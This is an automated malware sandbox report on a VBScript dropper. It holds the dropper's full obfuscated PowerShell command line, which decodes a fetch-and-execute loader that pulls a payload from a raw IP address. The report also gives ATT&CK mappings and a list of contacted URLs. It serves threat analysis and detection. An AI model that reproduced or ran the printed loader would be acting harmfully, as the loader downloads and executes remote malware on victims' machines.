6Medbo4Mudst;Udsty Keciax bill6 ava4wicki;Lagri hawmrHunchvCbest:ifrer1ingse3Nasio4S,ema.udla 0Tabli)unalc RevolGFaaf eEquipcQuin,kSphaeo Gru / Cram2 Husa0 U.ya1 Week0T old0Herm.1Blast0Milli1Therm FortjFDuffaiLbeilrEberteHarmlf,sychoTrigoxchemo/Bihen1Ba.al3Fo pa4binar. etst0';$Transculturation=Centralkomites 'Skinnu SkilSUningeFo.terLavem-c eatATrochG nrulE EkstnUdartT';$Briggsk116=Centralkomites ' DischSaigat L.tttBundfpAnhe :Absfa/ Flaa/Dr ve6Sconc8 Eva..k bel1 arss6No pa8Marab.Raa e2P,ove2Musee3 Skam.Adiap1 Gyno0Dv gb8U rep/ ShelJUdlovDL the/CobalGJ ngaoDrewrsStealsVe.daiRibonpKorpseProgrrBobecsHansa.Reopetam ryoWeakmc';$Aftgtsydelser=Centralkomites ' pist>';$Likrer=Centralkomites 'RykkeiIsthmEPermix';$Hyposynergia='Sprngningsekspertens';$Konsigneres='\Discoach.Imm';Desiodothyroxine3 (Centralkomites '.loms$ UpsogHimmeL GushOVand,bLabioABriseLReinf: Ove A Buskf.orgeg SeldIS,rivVAcr tEDoodaLGyp ySRu,ddEEu,ognInsorS Penu=Endoc$Spen,EPol tN BlomVScumm: BordA .bysPQuinapAfskrdBlamia InfiTLitmua Brod+Donat$PrintKDu.niofr naNFishlsBegorIUm.rsgPicklnAsthoeTagdkrHjspneTube S');Desiodothyroxine3 (Centralkomites 'tho k$ AdstGSemiblB,folODactyBFassaAK risLudlgg:Unen pF gler ialti ttacsP nnikridicrExcitIJejunGFastlEbr gnNSymbre ars=Metap$ V lsbIllu,RAt mdIConfegBekengrepresLukrek Sd,k1Jydep1Balne6kryst. Fop SPigwaPWilcoL Ch liGtesktPriso(Ligh.$UknneAPolelfAfbetTMeropGMe.ogtConvesStamky cornDBrushe SerilPunktSDappeEAfgnarCockn)');Desiodothyroxine3 (Centralkomites $Personnummers);$Briggsk116=$Priskrigene[0];$Skaberkrfters=(Centralkomites 'Nimme$.tandGBou.hlErob,oTasseb ExcrAdigt

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "get-service;$thickskulled='func';get-history;$thickskulled+='t';get-history;$thickskulled+='i';$hyldebusk=get-history;$thickskulled+='on:';(ni -p $thickskulled -n centralkomites -value { param($toenderne);$udlaansafdelingerne=5;do {$hypersonically78+=$toenderne[$udlaansafdelingerne];$udlaansafdelingerne+=6} until(!$toenderne[$udlaansafdelingerne])$hypersonically78});convertto-html;(ni -p $thickskulled -n desiodothyroxine3 -value {param($yodhs);.($likrer) ($yodhs)});convertto-html;$protozoal=centralkomites 'udhunnaandseh lvftknowi.sygehw';$protozoal+=centralkomites 'tra.pe ng ebgee.scstannl espiweekeeskrumnove,ft';$affaldsbehandlingssystem=centralkomites 'stensm suitotapwozplatfividerlrooinl kogla galm/';$humps=centralkomites 'unt,rt b ralshowes ksko1i ter2';$personnummers='natur[ mor.npaa eemondotell c.audiossuperedirkertilkmvkorreial efcpyramebrrespapprooassoriu visnwhi ktintegm per agrievn ddanafortrgfremhefren rsoutf]hellb: hove: ensesenguler.novcs wdeu postracadeielytrtavedrysoejlppardyrcodebobassitdeteko fermc utm.ou derl un,e=gener$unenchudkrau ponsmabeskpcheaps';$affaldsbehandlingssystem+=centralkomites 're.ym5 me e. re a0civil basha(,idsnwfjorti umlina prodkilesom.gilwillegsgonad paranfacultr sle b try1 tita0 neut.restr0umora;disv wan lwstimuihjertnunte 6medbo4mudst;udsty keciax bill6 ava4wicki;lagri hawmrhunchvcbest:ifrer1ingse3nasio4s,ema.udla 0tabli)unalc revolgfaaf eequipcquin,ksphaeo gru / cram2 husa0 u.ya1 week0t old0herm.1blast0milli1therm fortjfduffailbeilreberteharmlf,sychotrigoxchemo/bihen1ba.al3fo pa4binar. etst0';$transculturation=centralkomites 'skinnu skilsuningefo.terlavem-c eatatrochg nrule ekstnudartt';$briggsk116=centralkomites ' dischsaigat l.tttbundfpanhe :absfa/ flaa/dr ve6sconc8 eva..k bel1 arss6no pa8marab.raa e2p,ove2musee3 skam.adiap1 gyno0dv gb8u rep/ sheljudlovdl the/cobalgj ngaodrewrsstealsve.dairibonpkorpseprogrrbobecshansa.reopetam ryoweakmc';$aftgtsydelser=centralkomites ' pist>';$likrer=centralkomites 'rykkeiisthmepermix';$hyposynergia='sprngningsekspertens';$konsigneres='\discoach.imm';desiodothyroxine3 (centralkomites '.loms$ upsoghimmel gushovand,blabioabriselreinf: ove a buskf.orgeg seldis,rivvacr tedoodalgyp ysru,ddeeu,ogninsors penu=endoc$spen,epol tn blomvscumm: borda .byspquinapafskrdblamia infitlitmua brod+donat$printkdu.niofr nanfishlsbegorium.rsgpicklnasthoetagdkrhjspnetube s');desiodothyroxine3 (centralkomites 'tho k$ adstgsemiblb,folodactybfassaak risludlgg:unen pf gler ialti ttacsp nnikridicrexcitijejungfastlebr gnnsymbre ars=metap$ v lsbillu,rat mdiconfegbekengrepreslukrek sd,k1jydep1balne6kryst. fop spigwapwilcol ch ligtesktpriso(ligh.$uknneapolelfafbettmeropgme.ogtconvesstamky corndbrushe serilpunktsdappeeafgnarcockn)');desiodothyroxine3 (centralkomites $personnummers);$briggsk116=$priskrigene[0];$skaberkrfters=(centralkomites 'nimme$.tandgbou.hlerob,otasseb excradigt
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "get-service;$thickskulled='func';get-history;$thickskulled+='t';get-history;$thickskulled+='i';$hyldebusk=get-history;$thickskulled+='on:';(ni -p $thickskulled -n centralkomites -value { param($toenderne);$udlaansafdelingerne=5;do {$hypersonically78+=$toenderne[$udlaansafdelingerne];$udlaansafdelingerne+=6} until(!$toenderne[$udlaansafdelingerne])$hypersonically78});convertto-html;(ni -p $thickskulled -n desiodothyroxine3 -value {param($yodhs);.($likrer) ($yodhs)});convertto-html;$protozoal=centralkomites 'udhunnaandseh lvftknowi.sygehw';$protozoal+=centralkomites 'tra.pe ng ebgee.scstannl espiweekeeskrumnove,ft';$affaldsbehandlingssystem=centralkomites 'stensm suitotapwozplatfividerlrooinl kogla galm/';$humps=centralkomites 'unt,rt b ralshowes ksko1i ter2';$personnummers='natur[ mor.npaa eemondotell c.audiossuperedirkertilkmvkorreial efcpyramebrrespapprooassoriu visnwhi ktintegm per agrievn ddanafortrgfremhefren rsoutf]hellb: hove: ensesenguler.novcs wdeu postracadeielytrtavedrysoejlppardyrcodebobassitdeteko fermc utm.ou derl un,e=gener$unenchudkrau ponsmabeskpcheaps';$affaldsbehandlingssystem+=centralkomites 're.ym5 me e. re a0civil basha(,idsnwfjorti umlina prodkilesom.gilwillegsgonad paranfacultr sle b try1 tita0 neut.restr0umora;disv wan lwstimuihjertnunte 6medbo4mudst;udsty keciax bill6 ava4wicki;lagri hawmrhunchvcbest:ifrer1ingse3nasio4s,ema.udla 0tabli)unalc revolgfaaf eequipcquin,ksphaeo gru / cram2 husa0 u.ya1 week0t old0herm.1blast0milli1therm fortjfduffailbeilreberteharmlf,sychotrigoxchemo/bihen1ba.al3fo pa4binar. etst0';$transculturation=centralkomites 'skinnu skilsuningefo.terlavem-c eatatrochg nrule ekstnudartt';$briggsk116=centralkomites ' dischsaigat l.tttbundfpanhe :absfa/ flaa/dr ve6sconc8 eva..k bel1 arss6no pa8marab.raa e2p,ove2musee3 skam.adiap1 gyno0dv gb8u rep/ sheljudlovdl the/cobalgj ngaodrewrsstealsve.dairibonpkorpseprogrrbobecshansa.reopetam ryoweakmc';$aftgtsydelser=centralkomites ' pist>';$likrer=centralkomites 'rykkeiisthmepermix';$hyposynergia='sprngningsekspertens';$konsigneres='\discoach.imm';desiodothyroxine3 (centralkomites '.loms$ upsoghimmel gushovand,blabioabriselreinf: ove a buskf.orgeg seldis,rivvacr tedoodalgyp ysru,ddeeu,ogninsors penu=endoc$spen,epol tn blomvscumm: borda .byspquinapafskrdblamia infitlitmua brod+donat$printkdu.niofr nanfishlsbegorium.rsgpicklnasthoetagdkrhjspnetube s');desiodothyroxine3 (centralkomites 'tho k$ adstgsemiblb,folodactybfassaak risludlgg:unen pf gler ialti ttacsp nnikridicrexcitijejungfastlebr gnnsymbre ars=metap$ v lsbillu,rat mdiconfegbekengrepreslukrek sd,k1jydep1balne6kryst. fop spigwapwilcol ch ligtesktpriso(ligh.$uknneapolelfafbettmeropgme.ogtconvesstamky corndbrushe serilpunktsdappeeafgnarcockn)');desiodothyroxine3 (centralkomites $personnummers);$briggsk116=$priskrigene[0];$skaberkrfters=(centralkomites 'nimme$.tandgbou.hlerob,otasseb excradigt
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "get-service;$thickskulled='func';get-history;$thickskulled+='t';get-history;$thickskulled+='i';$hyldebusk=get-history;$thickskulled+='on:';(ni -p $thickskulled -n centralkomites -value { param($toenderne);$udlaansafdelingerne=5;do {$hypersonically78+=$toenderne[$udlaansafdelingerne];$udlaansafdelingerne+=6} until(!$toenderne[$udlaansafdelingerne])$hypersonically78});convertto-html;(ni -p $thickskulled -n desiodothyroxine3 -value {param($yodhs);.($likrer) ($yodhs)});convertto-html;$protozoal=centralkomites 'udhunnaandseh lvftknowi.sygehw';$protozoal+=centralkomites 'tra.pe ng ebgee.scstannl espiweekeeskrumnove,ft';$affaldsbehandlingssystem=centralkomites 'stensm suitotapwozplatfividerlrooinl kogla galm/';$humps=centralkomites 'unt,rt b ralshowes ksko1i ter2';$personnummers='natur[ mor.npaa eemondotell c.audiossuperedirkertilkmvkorreial efcpyramebrrespapprooassoriu visnwhi ktintegm per agrievn ddanafortrgfremhefren rsoutf]hellb: hove: ensesenguler.novcs wdeu postracadeielytrtavedrysoejlppardyrcodebobassitdeteko fermc utm.ou derl un,e=gener$unenchudkrau ponsmabeskpcheaps';$affaldsbehandlingssystem+=centralkomites 're.ym5 me e. re a0civil basha(,idsnwfjorti umlina prodkilesom.gilwillegsgonad paranfacultr sle b try1 tita0 neut.restr0umora;disv wan lwstimuihjertnunte 6medbo4mudst;udsty keciax bill6 ava4wicki;lagri hawmrhunchvcbest:ifrer1ingse3nasio4s,ema.udla 0tabli)unalc revolgfaaf eequipcquin,ksphaeo gru / cram2 husa0 u.ya1 week0t old0herm.1blast0milli1therm fortjfduffailbeilreberteharmlf,sychotrigoxchemo/bihen1ba.al3fo pa4binar. etst0';$transculturation=centralkomites 'skinnu skilsuningefo.terlavem-c eatatrochg nrule ekstnudartt';$briggsk116=centralkomites ' dischsaigat l.tttbundfpanhe :absfa/ flaa/dr ve6sconc8 eva..k bel1 arss6no pa8marab.raa e2p,ove2musee3 skam.adiap1 gyno0dv gb8u rep/ sheljudlovdl the/cobalgj ngaodrewrsstealsve.dairibonpkorpseprogrrbobecshansa.reopetam ryoweakmc';$aftgtsydelser=centralkomites ' pist>';$likrer=centralkomites 'rykkeiisthmepermix';$hyposynergia='sprngningsekspertens';$konsigneres='\discoach.imm';desiodothyroxine3 (centralkomites '.loms$ upsoghimmel gushovand,blabioabriselreinf: ove a buskf.orgeg seldis,rivvacr tedoodalgyp ysru,ddeeu,ogninsors penu=endoc$spen,epol tn blomvscumm: borda .byspquinapafskrdblamia infitlitmua brod+donat$printkdu.niofr nanfishlsbegorium.rsgpicklnasthoetagdkrhjspnetube s');desiodothyroxine3 (centralkomites 'tho k$ adstgsemiblb,folodactybfassaak risludlgg:unen pf gler ialti ttacsp nnikridicrexcitijejungfastlebr gnnsymbre ars=metap$ v lsbillu,rat mdiconfegbekengrepreslukrek sd,k1jydep1balne6kryst. fop spigwapwilcol ch ligtesktpriso(ligh.$uknneapolelfafbettmeropgme.ogtconvesstamky corndbrushe serilpunktsdappeeafgnarcockn)');desiodothyroxine3 (centralkomites $personnummers);$briggsk116=$priskrigene[0];$skaberkrfters=(centralkomites 'nimme$.tandgbou.hlerob,otasseb excradigt	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	321 Scripting	Valid Accounts	1 Windows Management Instrumentation	321 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Agterdelen.vbs	0%	ReversingLabs
SAMPLE	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://68.168.223.108/JD/Gossipers.t	0%	Avira URL Cloud	safe
http://68.168.22	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/Gossi	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/Gossipers.	0%	Avira URL Cloud	safe
http://68.168.H	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/Gossipers	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/Goss	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/Gossipers.tocXR	0%	Avira URL Cloud	safe
http://68.1	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/Gossipe	0%	Avira URL Cloud	safe
http://68.168.223.	0%	Avira URL Cloud	safe
http://68.168.2	0%	Avira URL Cloud	safe
http://68.168.223.108	0%	Avira URL Cloud	safe
http://68.168.223.10	0%	Avira URL Cloud	safe
http://68.16	0%	Avira URL Cloud	safe
http://68.168.	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/Go	0%	Avira URL Cloud	safe
http://68.168	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/Gossipers.to	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/Gos	0%	Avira URL Cloud	safe
http://68.168.223.108/J	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/Gossiper	0%	Avira URL Cloud	safe
http://68.168.223.108/	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/Gossipers.toc	0%	Avira URL Cloud	safe
http://68.168.223.1	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/Gossipers.tocP	0%	Avira URL Cloud	safe
http://68.168.223	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/	0%	Avira URL Cloud	safe
http://68.168.223.108/JD	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/Gossip	0%	Avira URL Cloud	safe
http://68.168.223.108/JD/G	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://68.168.223.108/JD/Gossipers.toc	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://68.168.223.108/JD/Gossipers.t	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.1394333131.000001D1B4995000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2557671310.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://68.168.223.108/JD/Gossipers	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://68.168.223.108/JD/Gossi	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.22	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.H	powershell.exe, 00000005.00000002.1357902050.000001D1A5700000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.co	powershell.exe, 00000005.00000002.1403411874.000001D1BD0B0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000008.00000002.2557671310.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://68.168.223.108/JD/Gossipers.	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000008.00000002.2557671310.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://68.1	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.108/JD/Gossipe	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.108/JD/Gossipers.tocXR	powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.108/JD/Goss	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.2541328902.00000000044D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://68.168.2	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.10	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.108	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1357902050.000001D1A4B49000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1357902050.000001D1A5700000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000008.00000002.2541328902.0000000004381000.00000004.00000800.00020000.00000000.sdmp	false		high
http://68.16	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.108/JD/Go	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000008.00000002.2557671310.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.1394333131.000001D1B4995000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2557671310.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://68.168.223.108/JD/Gossipers.to	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.108/JD/Gos	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.108/JD/Gossiper	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.108/	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.108/J	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.108/JD/Gossip	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.1357902050.000001D1A4921000.00000004.00000800.00020000.00000000.sdmp	false		high
http://68.168.223.1	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.108/JD/Gossipers.tocP	powershell.exe, 00000005.00000002.1357902050.000001D1A4B49000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://68.168.223.108/JD/	powershell.exe, 00000005.00000002.1357902050.000001D1A55A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
